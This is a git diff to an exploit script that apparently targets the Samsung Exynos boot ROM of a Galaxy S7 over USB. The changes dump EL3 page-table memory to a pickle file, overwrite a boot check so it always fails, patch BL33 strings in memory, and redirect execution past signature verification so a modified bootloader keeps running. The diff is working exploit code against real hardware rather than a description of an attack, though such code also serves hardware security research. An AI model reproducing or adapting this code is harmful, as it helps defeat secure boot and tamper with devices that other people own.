diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index 5846723..5eef337 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -599,7 +599,7 @@ class ExynosDevice(): assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten" - def test_write_execute(self, address): + def test_write_execute(self, address, execute=True): """ At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back. """ @@ -613,10 +613,11 @@ class ExynosDevice(): shellcode = ks.asm(shellcode, as_bytes=True)[0] self.cd.memwrite_region(address, shellcode) - self.cd.jump_to(address) - self.usb_write(b"PING") - assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger" - print(f'Jumped to {hex(address)} and back') + if execute: + self.cd.jump_to(address) + self.usb_write(b"PING") + assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger" + print(f'Jumped to {hex(address)} and back') def debugger_boot(self): @@ -654,15 +655,28 @@ class ExynosDevice(): self.connect_device() # Send boot stage 1 - self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()) + bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read() + self.send_normal_stage(bl1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" + # Dump contents of TTBR0_EL3 from memory into a pandas dataframe and write it to a pickle file + import pandas as pd + blub = self.cd.memdump_region(0x02035000, 0x1000) + try: + df = pd.read_pickle('ttbr0_el3.pkl') + # Concat data to existing dataframe + df = pd.concat([df, pd.Series([blub])], ignore_index=True) + except: + df = pd.DataFrame() + df['TTBR0_EL3'] = [blub] + df.to_pickle('ttbr0_el3.pkl') + # Setup jump and bl_auth AUTH_BL1 = 0x00012848 # Location of the authentication function - def auth_bl1(lr=0x2069000): + def auth_bl1(lr=0x2069000, x0=1, x1=1): # Load the firmware - self.cd.arch_dbg.state.X0 = 1 - self.cd.arch_dbg.state.X1 = 1 + self.cd.arch_dbg.state.X0 = x0 + self.cd.arch_dbg.state.X1 = x1 self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" @@ -678,6 +692,9 @@ class ExynosDevice(): self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br")) + # Write a patch to BL1 in memory + # self.cd.memwrite_region(0x2021800+bl1.find(b'2015'), b'2014') + # Jump into BL1 (sboot.bin.1.bin) JUMP_BL1 = 0x000002c0 def jump_bl1(lr): @@ -719,7 +736,10 @@ class ExynosDevice(): TTBR0_EL3 = 0x02035600 # Zeroed out # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?) - self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false + self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false + + # DWC3 OTG update mode -> Might be useful at some point? + # self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000)) # Jump into BL31 and execute it self.cd.restore_stack_and_jump(0x02024010) @@ -748,15 +768,6 @@ class ExynosDevice(): # ==== Stage 4 BL2 ==== bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read() - - # Patching - # bl2 = len(bl2) - # patch_len = len(b"MNGS_QUAD") - # patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch"))) - # patch_offset = bl2.find(b"MNGS_QUAD") - # bl2 = bl2[:patch_offset] + patch + bl2[patch_len + patch_offset:] - # assert len(stage4) == stage4_len, "Invalid bl2 length" - self.send_normal_stage(bl2) time.sleep(2) self.connect_device() @@ -773,7 +784,7 @@ class ExynosDevice(): # Restore bootflow print(self.cd.arch_dbg.state.print_ctx()) - BL33_jump = self.cd.arch_dbg.state.X0 + BL33_ptr = self.cd.arch_dbg.state.X0 BL33_LR = self.cd.arch_dbg.state.LR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR @@ -788,13 +799,22 @@ class ExynosDevice(): self.connect_device() self.usb_read(0x200) # GiAs - # Modify something in BL33 - # print(self.cd.memdump_region(0x8f063710, 0x8)) - # self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53616d74)) - # self.cd.memdump_region(0x8f063710, 0x8) - - self.cd.arch_dbg.state.X0 = BL33_jump - self.cd.restore_stack_and_jump(BL33_LR) + print(self.cd.arch_dbg.state.print_ctx()) + + # Trying to patch BL33 but continuing good boot flow + # auth_bl1(DEBUGGER_ADDR, 0, 0) + + # # Modify something in BL33 + print(self.cd.memdump_region(0x8f063710, 0x8)) + # Samsung == SaMtung + self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74)) + + # Modify USB Recovyer mode string to something else + self.cd.memwrite_region(0x8f06ab10, b'\x50\x41\x54\x43\x48\x49\x4e\x47\x20\x42\x4c\x33\x33\x3a\x2d\x29\x0a\x00') + print(self.cd.memdump_region(0x8f063710, 0x8)) + + # Do signature verification on BL2 instead of BL33 and proceed to boot (original is jump to 0x2024eec) + self.cd.restore_stack_and_jump(0x02024e58) pass diff --git a/source/exploit/ttbr0_el3.pkl b/source/exploit/ttbr0_el3.pkl new file mode 100644 index 0000000..23088c8 Binary files /dev/null and b/source/exploit/ttbr0_el3.pkl differ